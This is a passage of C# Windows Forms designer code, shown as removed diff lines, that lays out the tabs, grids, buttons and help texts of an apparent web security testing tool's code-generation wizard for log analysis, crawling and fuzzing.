this.dataGridViewTextBoxColumn14.ReadOnly = true; - this.dataGridViewTextBoxColumn14.Visible = false; - // - // textBox15 - // - this.textBox15.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox15.BackColor = System.Drawing.Color.White; - this.textBox15.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox15.Location = new System.Drawing.Point(27, 11); - this.textBox15.Multiline = true; - this.textBox15.Name = "textBox15"; - this.textBox15.ReadOnly = true; - this.textBox15.Size = new System.Drawing.Size(826, 28); - this.textBox15.TabIndex = 11; - this.textBox15.TabStop = false; - this.textBox15.Text = "You can read or modify any of the parameters in the Request. Select the parameter" + - " type, name and actions you want to perform below and the equivalent code will b" + - "e generated. "; - // - // tabPage3 - // - this.tabPage3.Controls.Add(this.LogCreateCodeBtn); - this.tabPage3.Controls.Add(this.LogSourceGrid); - this.tabPage3.Controls.Add(this.LogErrorTB); - this.tabPage3.Controls.Add(this.textBox6); - this.tabPage3.Location = new System.Drawing.Point(4, 22); - this.tabPage3.Name = "tabPage3"; - this.tabPage3.Size = new System.Drawing.Size(876, 328); - this.tabPage3.TabIndex = 2; - this.tabPage3.Text = " Log Analysis "; - this.tabPage3.UseVisualStyleBackColor = true; - // - // LogCreateCodeBtn - // - this.LogCreateCodeBtn.Enabled = false; - this.LogCreateCodeBtn.Location = new System.Drawing.Point(285, 90); - this.LogCreateCodeBtn.Name = "LogCreateCodeBtn"; - this.LogCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.LogCreateCodeBtn.TabIndex = 16; - this.LogCreateCodeBtn.Text = "Generate Code"; - this.LogCreateCodeBtn.UseVisualStyleBackColor = true; - this.LogCreateCodeBtn.Click += new System.EventHandler(this.LogCreateCodeBtn_Click); - // - // LogSourceGrid - // - this.LogSourceGrid.AllowUserToAddRows = false; - this.LogSourceGrid.AllowUserToDeleteRows = false; - this.LogSourceGrid.AllowUserToResizeRows = false; - this.LogSourceGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle44.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle44.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle44.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle44.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle44.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle44.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle44.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.LogSourceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle44; - this.LogSourceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.LogSourceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn7, - this.dataGridViewTextBoxColumn11}); - this.LogSourceGrid.GridColor = System.Drawing.Color.White; - this.LogSourceGrid.Location = new System.Drawing.Point(8, 62); - this.LogSourceGrid.Name = "LogSourceGrid"; - this.LogSourceGrid.ReadOnly = true; - this.LogSourceGrid.RowHeadersVisible = false; - this.LogSourceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.LogSourceGrid.Size = new System.Drawing.Size(271, 255); - this.LogSourceGrid.TabIndex = 15; - this.LogSourceGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.LogSourceGrid_CellClick); - // - // dataGridViewCheckBoxColumn7 - // - this.dataGridViewCheckBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn7.HeaderText = ""; - this.dataGridViewCheckBoxColumn7.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn7.Name = "dataGridViewCheckBoxColumn7"; - this.dataGridViewCheckBoxColumn7.ReadOnly = true; - this.dataGridViewCheckBoxColumn7.Width = 25; - // - // dataGridViewTextBoxColumn11 - // - this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn11.HeaderText = "Select the Log Source from below:"; - this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; - this.dataGridViewTextBoxColumn11.ReadOnly = true; - this.dataGridViewTextBoxColumn11.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn11.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // LogErrorTB - // - this.LogErrorTB.BackColor = System.Drawing.Color.Red; - this.LogErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.LogErrorTB.Location = new System.Drawing.Point(285, 119); - this.LogErrorTB.Multiline = true; - this.LogErrorTB.Name = "LogErrorTB"; - this.LogErrorTB.ReadOnly = true; - this.LogErrorTB.Size = new System.Drawing.Size(258, 83); - this.LogErrorTB.TabIndex = 17; - this.LogErrorTB.TabStop = false; - this.LogErrorTB.Visible = false; - // - // textBox6 - // - this.textBox6.BackColor = System.Drawing.Color.White; - this.textBox6.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox6.Location = new System.Drawing.Point(22, 16); - this.textBox6.Multiline = true; - this.textBox6.Name = "textBox6"; - this.textBox6.ReadOnly = true; - this.textBox6.Size = new System.Drawing.Size(726, 24); - this.textBox6.TabIndex = 14; - this.textBox6.TabStop = false; - this.textBox6.Text = "You can select the log that you want to analyze and equivalent code will be gener" + - "ated for you:"; - // - // tabPage4 - // - this.tabPage4.Controls.Add(this.textBox14); - this.tabPage4.Controls.Add(this.textBox13); - this.tabPage4.Controls.Add(this.textBox12); - this.tabPage4.Controls.Add(this.CrawlCreateCodeBtn); - this.tabPage4.Controls.Add(this.CrawlFormsRB); - this.tabPage4.Controls.Add(this.CrawlLinksRB); - this.tabPage4.Controls.Add(this.CrawlCookiesRB); - this.tabPage4.Controls.Add(this.textBox5); - this.tabPage4.Location = new System.Drawing.Point(4, 22); - this.tabPage4.Name = "tabPage4"; - this.tabPage4.Size = new System.Drawing.Size(876, 328); - this.tabPage4.TabIndex = 3; - this.tabPage4.Text = " Crawling "; - this.tabPage4.UseVisualStyleBackColor = true; - // - // textBox14 - // - this.textBox14.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox14.BackColor = System.Drawing.Color.White; - this.textBox14.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox14.Location = new System.Drawing.Point(46, 213); - this.textBox14.Multiline = true; - this.textBox14.Name = "textBox14"; - this.textBox14.ReadOnly = true; - this.textBox14.Size = new System.Drawing.Size(789, 38); - this.textBox14.TabIndex = 23; - this.textBox14.TabStop = false; - this.textBox14.Text = resources.GetString("textBox14.Text"); - // - // textBox13 - // - this.textBox13.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox13.BackColor = System.Drawing.Color.White; - this.textBox13.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox13.Location = new System.Drawing.Point(45, 141); - this.textBox13.Multiline = true; - this.textBox13.Name = "textBox13"; - this.textBox13.ReadOnly = true; - this.textBox13.Size = new System.Drawing.Size(789, 38); - this.textBox13.TabIndex = 22; - this.textBox13.TabStop = false; - this.textBox13.Text = resources.GetString("textBox13.Text"); - // - // textBox12 - // - this.textBox12.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox12.BackColor = System.Drawing.Color.White; - this.textBox12.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox12.Location = new System.Drawing.Point(46, 76); - this.textBox12.Multiline = true; - this.textBox12.Name = "textBox12"; - this.textBox12.ReadOnly = true; - this.textBox12.Size = new System.Drawing.Size(789, 38); - this.textBox12.TabIndex = 21; - this.textBox12.TabStop = false; - this.textBox12.Text = "Web sites use Cookies generally to handle session. This section will show you how" + - " to can handle cookies across multiple requests and responses by using the Cooki" + - "eStore class"; - // - // CrawlCreateCodeBtn - // - this.CrawlCreateCodeBtn.Location = new System.Drawing.Point(28, 295); - this.CrawlCreateCodeBtn.Name = "CrawlCreateCodeBtn"; - this.CrawlCreateCodeBtn.Size = new System.Drawing.Size(136, 23); - this.CrawlCreateCodeBtn.TabIndex = 20; - this.CrawlCreateCodeBtn.Text = "Generate Code"; - this.CrawlCreateCodeBtn.UseVisualStyleBackColor = true; - this.CrawlCreateCodeBtn.Click += new System.EventHandler(this.CrawlCreateCodeBtn_Click); - // - // CrawlFormsRB - // - this.CrawlFormsRB.AutoSize = true; - this.CrawlFormsRB.Location = new System.Drawing.Point(28, 192); - this.CrawlFormsRB.Name = "CrawlFormsRB"; - this.CrawlFormsRB.Size = new System.Drawing.Size(185, 17); - this.CrawlFormsRB.TabIndex = 18; - this.CrawlFormsRB.Text = "Submitting Forms in the Response"; - this.CrawlFormsRB.UseVisualStyleBackColor = true; - // - // CrawlLinksRB - // - this.CrawlLinksRB.AutoSize = true; - this.CrawlLinksRB.Location = new System.Drawing.Point(28, 123); - this.CrawlLinksRB.Name = "CrawlLinksRB"; - this.CrawlLinksRB.Size = new System.Drawing.Size(185, 17); - this.CrawlLinksRB.TabIndex = 17; - this.CrawlLinksRB.Text = "Clicking on Links in the Response"; - this.CrawlLinksRB.UseVisualStyleBackColor = true; - // - // CrawlCookiesRB - // - this.CrawlCookiesRB.AutoSize = true; - this.CrawlCookiesRB.Checked = true; - this.CrawlCookiesRB.Location = new System.Drawing.Point(28, 58); - this.CrawlCookiesRB.Name = "CrawlCookiesRB"; - this.CrawlCookiesRB.Size = new System.Drawing.Size(169, 17); - this.CrawlCookiesRB.TabIndex = 16; - this.CrawlCookiesRB.TabStop = true; - this.CrawlCookiesRB.Text = "Handling Cookies and Session"; - this.CrawlCookiesRB.UseVisualStyleBackColor = true; - // - // textBox5 - // - this.textBox5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox5.BackColor = System.Drawing.Color.White; - this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox5.Location = new System.Drawing.Point(28, 14); - this.textBox5.Multiline = true; - this.textBox5.Name = "textBox5"; - this.textBox5.ReadOnly = true; - this.textBox5.Size = new System.Drawing.Size(789, 38); - this.textBox5.TabIndex = 15; - this.textBox5.TabStop = false; - this.textBox5.Text = resources.GetString("textBox5.Text"); - // - // tabPage14 - // - this.tabPage14.Controls.Add(this.FuzzBaseTabs); - this.tabPage14.Location = new System.Drawing.Point(4, 22); - this.tabPage14.Name = "tabPage14"; - this.tabPage14.Size = new System.Drawing.Size(876, 328); - this.tabPage14.TabIndex = 5; - this.tabPage14.Text = " Fuzzing "; - this.tabPage14.UseVisualStyleBackColor = true; - // - // FuzzBaseTabs - // - this.FuzzBaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.FuzzBaseTabs.Controls.Add(this.NameTab); - this.FuzzBaseTabs.Controls.Add(this.LanguageTab); - this.FuzzBaseTabs.Controls.Add(this.PayloadsTab); - this.FuzzBaseTabs.Controls.Add(this.FinalTab); - this.FuzzBaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.FuzzBaseTabs.Location = new System.Drawing.Point(0, 0); - this.FuzzBaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.FuzzBaseTabs.Name = "FuzzBaseTabs"; - this.FuzzBaseTabs.Padding = new System.Drawing.Point(0, 0); - this.FuzzBaseTabs.SelectedIndex = 0; - this.FuzzBaseTabs.Size = new System.Drawing.Size(876, 328); - this.FuzzBaseTabs.TabIndex = 17; - this.FuzzBaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.FuzzBaseTabs_Selecting); - // - // NameTab - // - this.NameTab.BackColor = System.Drawing.Color.White; - this.NameTab.Controls.Add(this.FuzzInCodeRB); - this.NameTab.Controls.Add(this.FuzzUseUiRB); - this.NameTab.Controls.Add(this.textBox9); - this.NameTab.Controls.Add(this.FuzzStepZeroNextBtn); - this.NameTab.Location = new System.Drawing.Point(4, 25); - this.NameTab.Margin = new System.Windows.Forms.Padding(0); - this.NameTab.Name = "NameTab"; - this.NameTab.Padding = new System.Windows.Forms.Padding(5); - this.NameTab.Size = new System.Drawing.Size(868, 299); - this.NameTab.TabIndex = 0; - this.NameTab.Text = " Start "; - // - // FuzzInCodeRB - // - this.FuzzInCodeRB.AutoSize = true; - this.FuzzInCodeRB.Location = new System.Drawing.Point(34, 210); - this.FuzzInCodeRB.Name = "FuzzInCodeRB"; - this.FuzzInCodeRB.Size = new System.Drawing.Size(252, 17); - this.FuzzInCodeRB.TabIndex = 6; - this.FuzzInCodeRB.Text = "Set the Fuzz/Injection points directly in the code"; - this.FuzzInCodeRB.UseVisualStyleBackColor = true; - // - // FuzzUseUiRB - // - this.FuzzUseUiRB.AutoSize = true; - this.FuzzUseUiRB.Checked = true; - this.FuzzUseUiRB.Location = new System.Drawing.Point(34, 172); - this.FuzzUseUiRB.Name = "FuzzUseUiRB"; - this.FuzzUseUiRB.Size = new System.Drawing.Size(345, 17); - this.FuzzUseUiRB.TabIndex = 5; - this.FuzzUseUiRB.TabStop = true; - this.FuzzUseUiRB.Text = "Display an UI during script execution to set the Fuzz/Injection points"; - this.FuzzUseUiRB.UseVisualStyleBackColor = true; - // - // textBox9 - // - this.textBox9.BackColor = System.Drawing.Color.White; - this.textBox9.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox9.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox9.Location = new System.Drawing.Point(5, 5); - this.textBox9.Multiline = true; - this.textBox9.Name = "textBox9"; - this.textBox9.ReadOnly = true; - this.textBox9.Size = new System.Drawing.Size(858, 145); - this.textBox9.TabIndex = 3; - this.textBox9.TabStop = false; - this.textBox9.Text = resources.GetString("textBox9.Text"); - // - // FuzzStepZeroNextBtn - // - this.FuzzStepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzStepZeroNextBtn.Location = new System.Drawing.Point(753, 268); - this.FuzzStepZeroNextBtn.Name = "FuzzStepZeroNextBtn"; - this.FuzzStepZeroNextBtn.Size = new System.Drawing.Size(105, 23); - this.FuzzStepZeroNextBtn.TabIndex = 2; - this.FuzzStepZeroNextBtn.Text = "Next Step ->"; - this.FuzzStepZeroNextBtn.UseVisualStyleBackColor = true; - this.FuzzStepZeroNextBtn.Click += new System.EventHandler(this.FuzzStepZeroNextBtn_Click); - // - // LanguageTab - // - this.LanguageTab.BackColor = System.Drawing.Color.White; - this.LanguageTab.Controls.Add(this.FuzzSelectedParametersListTB); - this.LanguageTab.Controls.Add(this.FuzzBodyTypeGB); - this.LanguageTab.Controls.Add(this.FuzzAddPointLL); - this.LanguageTab.Controls.Add(this.FuzzParametersNameListLbl); - this.LanguageTab.Controls.Add(this.FuzzParametersNameListTB); - this.LanguageTab.Controls.Add(this.FuzzListedParametersRB); - this.LanguageTab.Controls.Add(this.FuzzAllParametersRB); - this.LanguageTab.Controls.Add(this.FuzzParameterTypeGrid); - this.LanguageTab.Controls.Add(this.FuzzStep1StatusTB); - this.LanguageTab.Controls.Add(this.textBox18); - this.LanguageTab.Controls.Add(this.FuzzStepOnePreviousBtn); - this.LanguageTab.Controls.Add(this.FuzzStepOneNextBtn); - this.LanguageTab.Location = new System.Drawing.Point(4, 25); - this.LanguageTab.Name = "LanguageTab"; - this.LanguageTab.Padding = new System.Windows.Forms.Padding(5); - this.LanguageTab.Size = new System.Drawing.Size(868, 299); - this.LanguageTab.TabIndex = 2; - this.LanguageTab.Text = " Set Fuzz Points "; - // - // FuzzSelectedParametersListTB - // - this.FuzzSelectedParametersListTB.BackColor = System.Drawing.Color.White; - this.FuzzSelectedParametersListTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FuzzSelectedParametersListTB.ForeColor = System.Drawing.Color.CornflowerBlue; - this.FuzzSelectedParametersListTB.Location = new System.Drawing.Point(8, 218); - this.FuzzSelectedParametersListTB.Multiline = true; - this.FuzzSelectedParametersListTB.Name = "FuzzSelectedParametersListTB"; - this.FuzzSelectedParametersListTB.ReadOnly = true; - this.FuzzSelectedParametersListTB.Size = new System.Drawing.Size(210, 44); - this.FuzzSelectedParametersListTB.TabIndex = 23; - this.FuzzSelectedParametersListTB.TabStop = false; - // - // FuzzBodyTypeGB - // - this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomMsgTB); - this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomEndTB); - this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomEndLbl); - this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomStartTB); - this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyCustomStartLbl); - this.FuzzBodyTypeGB.Controls.Add(this.FuzzBodyTypeGrid); - this.FuzzBodyTypeGB.Location = new System.Drawing.Point(224, 69); - this.FuzzBodyTypeGB.Name = "FuzzBodyTypeGB"; - this.FuzzBodyTypeGB.Size = new System.Drawing.Size(376, 166); - this.FuzzBodyTypeGB.TabIndex = 22; - this.FuzzBodyTypeGB.TabStop = false; - this.FuzzBodyTypeGB.Text = "Select the type of Request body format:"; - this.FuzzBodyTypeGB.Visible = false; - // - // FuzzBodyCustomMsgTB - // - this.FuzzBodyCustomMsgTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.FuzzBodyCustomMsgTB.BackColor = System.Drawing.Color.White; - this.FuzzBodyCustomMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FuzzBodyCustomMsgTB.Location = new System.Drawing.Point(195, 11); - this.FuzzBodyCustomMsgTB.Multiline = true; - this.FuzzBodyCustomMsgTB.Name = "FuzzBodyCustomMsgTB"; - this.FuzzBodyCustomMsgTB.ReadOnly = true; - this.FuzzBodyCustomMsgTB.Size = new System.Drawing.Size(175, 97); - this.FuzzBodyCustomMsgTB.TabIndex = 22; - this.FuzzBodyCustomMsgTB.TabStop = false; - this.FuzzBodyCustomMsgTB.Text = "If the body format is unknown then just place unique strings at start and end of " + - "the sections that must be fuzzed.\r\nThese are the fuzz point markers, mention the" + - "se marker values below."; - this.FuzzBodyCustomMsgTB.Visible = false; - // - // FuzzBodyCustomEndTB - // - this.FuzzBodyCustomEndTB.Location = new System.Drawing.Point(302, 140); - this.FuzzBodyCustomEndTB.Name = "FuzzBodyCustomEndTB"; - this.FuzzBodyCustomEndTB.Size = new System.Drawing.Size(68, 20); - this.FuzzBodyCustomEndTB.TabIndex = 20; - this.FuzzBodyCustomEndTB.Visible = false; - // - // FuzzBodyCustomEndLbl - // - this.FuzzBodyCustomEndLbl.AutoSize = true; - this.FuzzBodyCustomEndLbl.Location = new System.Drawing.Point(192, 140); - this.FuzzBodyCustomEndLbl.Name = "FuzzBodyCustomEndLbl"; - this.FuzzBodyCustomEndLbl.Size = new System.Drawing.Size(103, 13); - this.FuzzBodyCustomEndLbl.TabIndex = 21; - this.FuzzBodyCustomEndLbl.Text = "Fuzz Pt End Marker:"; - this.FuzzBodyCustomEndLbl.Visible = false; - // - // FuzzBodyCustomStartTB - // - this.FuzzBodyCustomStartTB.Location = new System.Drawing.Point(302, 114); - this.FuzzBodyCustomStartTB.Name = "FuzzBodyCustomStartTB"; - this.FuzzBodyCustomStartTB.Size = new System.Drawing.Size(68, 20); - this.FuzzBodyCustomStartTB.TabIndex = 18; - this.FuzzBodyCustomStartTB.Visible = false; - // - // FuzzBodyCustomStartLbl - // - this.FuzzBodyCustomStartLbl.AutoSize = true; - this.FuzzBodyCustomStartLbl.Location = new System.Drawing.Point(191, 117); - this.FuzzBodyCustomStartLbl.Name = "FuzzBodyCustomStartLbl"; - this.FuzzBodyCustomStartLbl.Size = new System.Drawing.Size(106, 13); - this.FuzzBodyCustomStartLbl.TabIndex = 19; - this.FuzzBodyCustomStartLbl.Text = "Fuzz Pt Start Marker:"; - this.FuzzBodyCustomStartLbl.Visible = false; - // - // FuzzBodyTypeGrid - // - this.FuzzBodyTypeGrid.AllowUserToAddRows = false; - this.FuzzBodyTypeGrid.AllowUserToDeleteRows = false; - this.FuzzBodyTypeGrid.AllowUserToResizeRows = false; - this.FuzzBodyTypeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.FuzzBodyTypeGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle45.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle45.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle45.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle45.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle45.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle45.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle45.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.FuzzBodyTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle45; - this.FuzzBodyTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FuzzBodyTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn12, - this.dataGridViewTextBoxColumn20}); - this.FuzzBodyTypeGrid.GridColor = System.Drawing.Color.White; - this.FuzzBodyTypeGrid.Location = new System.Drawing.Point(6, 23); - this.FuzzBodyTypeGrid.Name = "FuzzBodyTypeGrid"; - this.FuzzBodyTypeGrid.ReadOnly = true; - this.FuzzBodyTypeGrid.RowHeadersVisible = false; - this.FuzzBodyTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FuzzBodyTypeGrid.Size = new System.Drawing.Size(180, 137); - this.FuzzBodyTypeGrid.TabIndex = 17; - this.FuzzBodyTypeGrid.Visible = false; - this.FuzzBodyTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FuzzBodyTypeGrid_CellClick); - // - // dataGridViewCheckBoxColumn12 - // - this.dataGridViewCheckBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn12.HeaderText = ""; - this.dataGridViewCheckBoxColumn12.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn12.Name = "dataGridViewCheckBoxColumn12"; - this.dataGridViewCheckBoxColumn12.ReadOnly = true; - this.dataGridViewCheckBoxColumn12.Width = 25; - // - // dataGridViewTextBoxColumn20 - // - this.dataGridViewTextBoxColumn20.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn20.HeaderText = "Body Type"; - this.dataGridViewTextBoxColumn20.Name = "dataGridViewTextBoxColumn20"; - this.dataGridViewTextBoxColumn20.ReadOnly = true; - this.dataGridViewTextBoxColumn20.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn20.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // FuzzAddPointLL - // - this.FuzzAddPointLL.AutoSize = true; - this.FuzzAddPointLL.Location = new System.Drawing.Point(770, 74); - this.FuzzAddPointLL.Name = "FuzzAddPointLL"; - this.FuzzAddPointLL.Size = new System.Drawing.Size(89, 13); - this.FuzzAddPointLL.TabIndex = 21; - this.FuzzAddPointLL.TabStop = true; - this.FuzzAddPointLL.Text = "Add Fuzz Point(s)"; - this.FuzzAddPointLL.Visible = false; - this.FuzzAddPointLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.FuzzAddPointLL_LinkClicked); - // - // FuzzParametersNameListLbl - // - this.FuzzParametersNameListLbl.AutoSize = true; - this.FuzzParametersNameListLbl.Location = new System.Drawing.Point(606, 132); - this.FuzzParametersNameListLbl.Name = "FuzzParametersNameListLbl"; - this.FuzzParametersNameListLbl.Size = new System.Drawing.Size(238, 13); - this.FuzzParametersNameListLbl.TabIndex = 19; - this.FuzzParametersNameListLbl.Text = "Enter the zero-based index positions one per line:"; - this.FuzzParametersNameListLbl.Visible = false; - // - // FuzzParametersNameListTB - // - this.FuzzParametersNameListTB.Enabled = false; - this.FuzzParametersNameListTB.Location = new System.Drawing.Point(607, 149); - this.FuzzParametersNameListTB.Multiline = true; - this.FuzzParametersNameListTB.Name = "FuzzParametersNameListTB"; - this.FuzzParametersNameListTB.Size = new System.Drawing.Size(219, 75); - this.FuzzParametersNameListTB.TabIndex = 18; - this.FuzzParametersNameListTB.Visible = false; - // - // FuzzListedParametersRB - // - this.FuzzListedParametersRB.AutoSize = true; - this.FuzzListedParametersRB.Location = new System.Drawing.Point(606, 97); - this.FuzzListedParametersRB.Name = "FuzzListedParametersRB"; - this.FuzzListedParametersRB.Size = new System.Drawing.Size(228, 17); - this.FuzzListedParametersRB.TabIndex = 16; - this.FuzzListedParametersRB.Text = "Fuzz only UrlPathPart positions listed below"; - this.FuzzListedParametersRB.UseVisualStyleBackColor = true; - this.FuzzListedParametersRB.Visible = false; - this.FuzzListedParametersRB.CheckedChanged += new System.EventHandler(this.FuzzListedParametersRB_CheckedChanged); - // - // FuzzAllParametersRB - // - this.FuzzAllParametersRB.AutoSize = true; - this.FuzzAllParametersRB.Checked = true; - this.FuzzAllParametersRB.Location = new System.Drawing.Point(606, 74); - this.FuzzAllParametersRB.Name = "FuzzAllParametersRB"; - this.FuzzAllParametersRB.Size = new System.Drawing.Size(161, 17); - this.FuzzAllParametersRB.TabIndex = 15; - this.FuzzAllParametersRB.TabStop = true; - this.FuzzAllParametersRB.Text = "Fuzz all UrlPathPart positions"; - this.FuzzAllParametersRB.UseVisualStyleBackColor = true; - this.FuzzAllParametersRB.Visible = false; - // - // FuzzParameterTypeGrid - // - this.FuzzParameterTypeGrid.AllowUserToAddRows = false; - this.FuzzParameterTypeGrid.AllowUserToDeleteRows = false; - this.FuzzParameterTypeGrid.AllowUserToResizeRows = false; - this.FuzzParameterTypeGrid.BackgroundColor = System.Drawing.Color.White; - dataGridViewCellStyle46.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle46.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle46.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle46.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle46.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle46.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle46.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.FuzzParameterTypeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle46; - this.FuzzParameterTypeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FuzzParameterTypeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn11, - this.dataGridViewTextBoxColumn19}); - this.FuzzParameterTypeGrid.GridColor = System.Drawing.Color.White; - this.FuzzParameterTypeGrid.Location = new System.Drawing.Point(8, 74); - this.FuzzParameterTypeGrid.Name = "FuzzParameterTypeGrid"; - this.FuzzParameterTypeGrid.ReadOnly = true; - this.FuzzParameterTypeGrid.RowHeadersVisible = false; - this.FuzzParameterTypeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FuzzParameterTypeGrid.Size = new System.Drawing.Size(210, 138); - this.FuzzParameterTypeGrid.TabIndex = 14; - this.FuzzParameterTypeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FuzzParameterTypeGrid_CellClick); - // - // dataGridViewCheckBoxColumn11 - // - this.dataGridViewCheckBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn11.HeaderText = ""; - this.dataGridViewCheckBoxColumn11.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn11.Name = "dataGridViewCheckBoxColumn11"; - this.dataGridViewCheckBoxColumn11.ReadOnly = true; - this.dataGridViewCheckBoxColumn11.Width = 25; - // - // dataGridViewTextBoxColumn19 - // - this.dataGridViewTextBoxColumn19.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn19.HeaderText = "Select the Parameter to Fuzz:"; - 